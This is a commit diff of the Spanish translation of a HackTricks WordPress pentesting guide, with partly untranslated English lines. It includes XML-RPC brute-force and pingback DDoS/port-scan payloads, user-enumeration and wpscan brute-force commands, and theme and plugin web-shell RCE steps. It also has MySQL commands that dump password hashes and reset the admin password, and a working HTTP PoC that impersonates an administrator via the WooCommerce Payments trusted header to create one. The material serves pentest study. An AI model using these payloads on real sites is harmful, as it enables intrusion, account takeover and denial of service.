mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
8f872e7b3b
commit
353274d300
@ -4,47 +4,47 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
- Los archivos **subidos** van a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- Los archivos de **temas se pueden encontrar en /wp-content/themes/,** así que si cambias algún php del tema para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando **el tema twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Archivos subidos** van a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Los archivos de temas se pueden encontrar en /wp-content/themes/,** así que si cambias algún php del tema para conseguir RCE probablemente usarás esa ruta. Por ejemplo: Usando **theme twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- En **wp-config.php** puedes encontrar la contraseña raíz de la base de datos.
|
||||
- Rutas de inicio de sesión predeterminadas para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- En **wp-config.php** puedes encontrar la contraseña root de la base de datos.
|
||||
- Rutas de login por defecto a comprobar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Archivos Principales de WordPress**
|
||||
### **Archivos principales de WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contiene información útil como la versión de WordPress instalada.
|
||||
- `wp-activate.php` se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
|
||||
- Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):
|
||||
- `wp-activate.php` se usa para el proceso de activación por correo electrónico al configurar un nuevo sitio WordPress.
|
||||
- Carpetas de login (pueden ser renombradas para ocultarlas):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan con HTTP actuando como el mecanismo de transporte y XML como el mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
|
||||
- La carpeta `wp-content` es el directorio principal donde se almacenan los plugins y temas.
|
||||
- `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan utilizando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por el [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
|
||||
- La carpeta `wp-content` es el directorio principal donde se almacenan plugins y temas.
|
||||
- `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma.
|
||||
- `wp-includes/` este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
|
||||
- `wp-sitemap.xml` en las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente.
|
||||
- `wp-includes/` es el directorio donde se almacenan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
|
||||
- `wp-sitemap.xml` En versiones de WordPress 5.5 y superiores, WordPress genera un archivo sitemap XML con todas las entradas públicas y los tipos de contenido y taxonomías consultables públicamente.
|
||||
|
||||
**Post explotación**
|
||||
|
||||
- El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas.
|
||||
- El archivo `wp-config.php` contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el usuario y la contraseña, las keys y salts de autenticación, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para la resolución de problemas.
|
||||
|
||||
### Permisos de Usuarios
|
||||
### Permisos de usuarios
|
||||
|
||||
- **Administrador**
|
||||
- **Editor**: Publica y gestiona sus propias publicaciones y las de otros
|
||||
- **Autor**: Publica y gestiona sus propias publicaciones
|
||||
- **Colaborador**: Escribe y gestiona sus publicaciones pero no puede publicarlas
|
||||
- **Suscriptor**: Navega por las publicaciones y edita su perfil
|
||||
- **Administrator**
|
||||
- **Editor**: Publica y gestiona sus propias entradas y las de otros
|
||||
- **Author**: Publica y gestiona sus propias entradas
|
||||
- **Contributor**: Escribe y gestiona sus entradas pero no puede publicarlas
|
||||
- **Subscriber**: Navega las entradas y edita su perfil
|
||||
|
||||
## **Enumeración Pasiva**
|
||||
## **Enumeración pasiva**
|
||||
|
||||
### **Obtener la versión de WordPress**
|
||||
|
||||
Verifica si puedes encontrar los archivos `/license.txt` o `/readme.html`
|
||||
Comprueba si puedes encontrar los archivos `/license.txt` o `/readme.html`
|
||||
|
||||
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -62,6 +62,8 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
- Archivos JavaScript
|
||||
|
||||
.png>)
|
||||
|
||||
### Obtener Plugins
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
@ -79,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Plugins y Temas
|
||||
|
||||
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **forzar activamente una lista de Plugins y Temas** (esperemos que haya herramientas automatizadas que contengan estas listas).
|
||||
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **realizar activamente un Brute Force a una lista de Plugins y Temas** (esperemos que existan herramientas automatizadas que contengan estas listas).
|
||||
|
||||
### Usuarios
|
||||
|
||||
- **ID Brute:** Obtienes usuarios válidos de un sitio de WordPress forzando los IDs de los usuarios:
|
||||
- **ID Brute:** Obtienes usuarios válidos de un sitio WordPress realizando Brute Forcing de los IDs de usuario:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -93,23 +95,23 @@ Si las respuestas son **200** o **30X**, eso significa que el id es **válido**.
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Otro endpoint de `/wp-json/` que puede revelar información sobre los usuarios es:
|
||||
Otro endpoint `/wp-json/` que puede revelar algo de información sobre usuarios es:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Tenga en cuenta que este endpoint solo expone a los usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen esta función habilitada**.
|
||||
Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen habilitada esta función**.
|
||||
|
||||
También tenga en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP.
|
||||
Ten en cuenta también que **/wp-json/wp/v2/pages** could leak direcciones IP.
|
||||
|
||||
- **Enumeración de nombres de usuario de inicio de sesión**: Al iniciar sesión en **`/wp-login.php`**, el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**.
|
||||
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **distinto** y indica si el **username existe o no**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Si `xml-rpc.php` está activo, puede realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques de DoS a otros recursos. (Puede automatizar este proceso[ usando esto](https://github.com/relarizky/wpxploit) por ejemplo).
|
||||
Si `xml-rpc.php` está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso [usando esto](https://github.com/relarizky/wpxploit), por ejemplo).
|
||||
|
||||
Para ver si está activo, intente acceder a _**/xmlrpc.php**_ y envíe esta solicitud:
|
||||
Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta solicitud:
|
||||
|
||||
**Verificar**
|
||||
**Comprobar**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -118,9 +120,9 @@ Para ver si está activo, intente acceder a _**/xmlrpc.php**_ y envíe esta soli
|
||||
```
|
||||

|
||||
|
||||
**Fuerza bruta de credenciales**
|
||||
**Credenciales Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden utilizar para realizar fuerza bruta de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden usar para brute-force credentials. Si puedes encontrar cualquiera de ellos puedes enviar algo como:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -136,7 +138,7 @@ El mensaje _"Nombre de usuario o contraseña incorrectos"_ dentro de una respues
|
||||
|
||||
.png>)
|
||||
|
||||
Usando las credenciales correctas, puedes subir un archivo. En la respuesta, el camino aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Usando las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -166,18 +168,18 @@ Usando las credenciales correctas, puedes subir un archivo. En la respuesta, el
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
También hay una **manera más rápida** de realizar un ataque de fuerza bruta a las credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Este método está destinado a programas y no a humanos, y es antiguo, por lo tanto, no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para iniciar sesión con esas credenciales eludiendo 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías llegar a RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para login con esas credenciales evitando 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la console, pero aún podrías llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS o escaneo de puertos**
|
||||
**DDoS or port scanning**
|
||||
|
||||
Si puedes encontrar el método _**pingback.ping**_ dentro de la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.\
|
||||
Esto se puede usar para pedir a **miles** de **sitios** de Wordpress que **accedan** a una **ubicación** (por lo que se causa un **DDoS** en esa ubicación) o puedes usarlo para hacer que **Wordpress** lo **escanee** en alguna **red** interna (puedes indicar cualquier puerto).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **miles** de sitios **Wordpress** que **accedan** a una misma **ubicación** (provocando así un **DDoS** en ese destino) o puedes usarlo para hacer que **Wordpress** **escanee** alguna **red** interna (puedes indicar cualquier puerto).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +193,9 @@ Esto se puede usar para pedir a **miles** de **sitios** de Wordpress que **acced
|
||||
|
||||
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
|
||||
|
||||
Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
|
||||
Consulta el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
|
||||
|
||||
**DDoS**
|
||||
DDoS
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -207,17 +209,17 @@ Echa un vistazo al uso de **`system.multicall`** en la sección anterior para ap
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Este archivo generalmente existe en la raíz del sitio de Wordpress: **`/wp-cron.php`**\
|
||||
Cuando este archivo es **accedido**, se realiza una **consulta** MySQL "**pesada**", por lo que podría ser utilizado por **atacantes** para **causar** un **DoS**.\
|
||||
Además, por defecto, el `wp-cron.php` se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
|
||||
Este archivo normalmente existe en la raíz del sitio Wordpress: **`/wp-cron.php`**\
|
||||
Cuando este archivo es **accedido**, se ejecuta una **consulta** MySQL **pesada**, por lo que podría ser usado por **atacantes** para **causar** un **DoS**.\
|
||||
Además, por defecto, `wp-cron.php` se invoca en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
|
||||
|
||||
Se recomienda deshabilitar Wp-Cron y crear un cronjob real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).
|
||||
Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Intenta acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio de Wordpress puede hacer una solicitud a ti.
|
||||
Intenta acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Wordpress puede realizar una petición hacia ti.
|
||||
|
||||
Esta es la respuesta cuando no funciona:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -228,9 +230,9 @@ Esta es la respuesta cuando no funciona:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Esta herramienta verifica si el **methodName: pingback.ping** y para la ruta **/wp-json/oembed/1.0/proxy** y si existe, intenta explotarlos.
|
||||
This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
|
||||
|
||||
## Herramientas Automáticas
|
||||
## Herramientas automáticas
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -238,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Obtener acceso sobrescribiendo un bit
|
||||
|
||||
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podrías cambiar 1 bit de cualquier archivo de wordpress. Así que podrías cambiar la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para NOP la operación NOT (`!`).
|
||||
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías voltear 1 bit de cualquier archivo de wordpress. Así podías voltear la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para NOP la operación NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modificando un php del tema utilizado (se necesitan credenciales de administrador)**
|
||||
**Modificando un php del tema usado (se necesitan credenciales de administrador)**
|
||||
|
||||
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
|
||||
|
||||
Cambia el contenido por un shell php:
|
||||
Reemplaza el contenido por un shell php:
|
||||
|
||||
.png>)
|
||||
|
||||
Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Busca en internet cómo puedes acceder a esa página actualizada. En este caso debes acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -265,93 +267,93 @@ para obtener una sesión.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### Plugin PHP
|
||||
### PHP plugin
|
||||
|
||||
Puede ser posible subir archivos .php como un plugin.\
|
||||
Crea tu puerta trasera en php usando, por ejemplo:
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Create your php backdoor using for example:
|
||||
|
||||
.png>)
|
||||
|
||||
Luego añade un nuevo plugin:
|
||||
Then add a new plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Sube el plugin y presiona Instalar ahora:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Haz clic en Proceder:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Probablemente esto no hará nada aparentemente, pero si vas a Medios, verás tu shell subida:
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
|
||||
.png>)
|
||||
|
||||
Accede a ella y verás la URL para ejecutar la shell inversa:
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Subiendo y activando un plugin malicioso
|
||||
### Subir y activar un plugin malicioso
|
||||
|
||||
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de WordPress de la siguiente manera:
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
|
||||
1. **Adquisición del Plugin**: El plugin se obtiene de una fuente como Exploit DB como [**aquí**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalación del Plugin**:
|
||||
- Navega al panel de WordPress, luego ve a `Panel > Plugins > Subir Plugin`.
|
||||
- Sube el archivo zip del plugin descargado.
|
||||
3. **Activación del Plugin**: Una vez que el plugin se instala correctamente, debe ser activado a través del panel.
|
||||
4. **Explotación**:
|
||||
- Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.
|
||||
- El marco de Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
|
||||
- Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress.
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
|
||||
4. **Exploitation**:
|
||||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
||||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
||||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
||||
|
||||
El contenido incluye ayudas visuales que representan los pasos en el panel de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
|
||||
El contenido incluye ayudas visuales que muestran los pasos en el WordPress dashboard para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como penetration testing con permiso explícito.
|
||||
|
||||
**Para pasos más detallados consulta:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## De XSS a RCE
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:**
|
||||
- _**Escalado de Privilegios:**_ Crea un usuario en WordPress.
|
||||
- _**(RCE) Subida de Plugin Personalizado (puerta trasera):**_ Sube tu plugin personalizado (puerta trasera) a WordPress.
|
||||
- _**(RCE) Edición de Plugin Incorporado:**_ Edita un Plugin Incorporado en WordPress.
|
||||
- _**(RCE) Edición de Tema Incorporado:**_ Edita un Tema Incorporado en WordPress.
|
||||
- _**(Personalizado) Explotaciones Personalizadas:**_ Explotaciones Personalizadas para Plugins/Temas de Terceros de WordPress.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Crea un usuario en WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Sube tu plugin personalizado (backdoor) a WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edita plugins integrados en WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edita temas integrados en WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploits personalizados para plugins/temas de terceros de WordPress.
|
||||
|
||||
## Post Explotación
|
||||
## Post Exploitation
|
||||
|
||||
Extraer nombres de usuario y contraseñas:
|
||||
Extract usernames and passwords:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Cambiar la contraseña de administrador:
|
||||
Cambiar la contraseña del administrador:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Superficie de Ataque
|
||||
### Superficie de ataque
|
||||
|
||||
Conocer cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes encontrar cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**este blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Saber cómo un Wordpress plugin puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de controladores AJAX. Estos podrían contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un nonce de Wordpress que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
|
||||
Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de handlers de AJAX. Estos pueden contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un Wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría poseer** (independientemente de su rol).
|
||||
|
||||
Estas son las funciones que se pueden usar para exponer una función en un plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso los no autenticados).**
|
||||
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Además, si la función solo está verificando la autorización del usuario con la función `wp_verify_nonce`, esta función solo está comprobando que el usuario ha iniciado sesión, generalmente no está verificando el rol del usuario. Por lo tanto, los usuarios con bajos privilegios podrían tener acceso a acciones de altos privilegios.
|
||||
> Además, si la función solo está comprobando la autorización del usuario con la función `wp_verify_nonce`, esa función únicamente verifica que el usuario haya iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios con bajos privilegios podrían tener acceso a acciones de alto privilegio.
|
||||
|
||||
- **REST API**
|
||||
|
||||
También es posible exponer funciones de WordPress registrando un REST API utilizando la función `register_rest_route`:
|
||||
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -361,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
El `permission_callback` es una función de retorno que verifica si un usuario dado está autorizado para llamar al método de la API.
|
||||
El `permission_callback` es un callback a una función que comprueba si un usuario dado está autorizado para llamar al método de la API.
|
||||
|
||||
**Si se utiliza la función incorporada `__return_true`, simplemente se omitirá la verificación de permisos del usuario.**
|
||||
**Si se usa la función incorporada `__return_true`, simplemente omitirá la comprobación de permisos de usuario.**
|
||||
|
||||
- **Acceso directo al archivo php**
|
||||
|
||||
Por supuesto, Wordpress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.
|
||||
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Así que, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será exploitable por cualquier usuario.
|
||||
|
||||
### Eliminación de Archivos Arbitrarios No Autenticada a través de wp_ajax_nopriv (Tema Litho <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Los temas y plugins de WordPress frecuentemente exponen controladores AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando se utiliza la variante **_nopriv_**, **el callback se vuelve accesible para visitantes no autenticados**, por lo que cualquier acción sensible debe implementar además:
|
||||
Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las solicitudes REST. Si el header no está cryptographically bound a la request por un componente upstream, un atacante puede spoof it y acceder a rutas REST privilegiadas como administrador.
|
||||
|
||||
1. Una **verificación de capacidad** (por ejemplo, `current_user_can()` o al menos `is_user_logged_in()`), y
|
||||
2. Un **nonce CSRF** validado con `check_ajax_referer()` / `wp_verify_nonce()`, y
|
||||
3. **Saneamiento / validación estricta de entradas**.
|
||||
- Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (fuerza el user ID 1, típicamente la primera cuenta de administrador).
|
||||
- Ruta explotada: `POST /wp-json/wp/v2/users` con un array de roles elevado.
|
||||
|
||||
El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la función *Eliminar Familia de Fuentes* y terminó enviando el siguiente código (simplificado):
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
